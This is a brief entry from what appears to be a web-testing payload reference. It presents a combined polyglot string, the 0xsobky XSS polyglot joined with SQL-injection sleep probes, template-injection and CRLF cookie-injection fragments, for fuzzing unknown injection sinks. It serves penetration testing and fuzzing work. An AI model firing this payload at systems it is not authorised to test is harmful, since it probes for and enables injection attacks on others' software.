Polyglots
Single strings that fire across multiple contexts - ideal for one-shot fuzzing when you don't yet know the sink. The 0xsobky XSS polyglot survives most encoding contexts; the SQLi polyglot triggers error/union/boolean at once.
Tags: polyglot, fuzzing, xss, sqli
Controlled probes
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'"><img src=x onerror=alert(1)>SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/${{<%[%'"}}%\%0d%0aSet-Cookie:polyglot=1
Source: https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot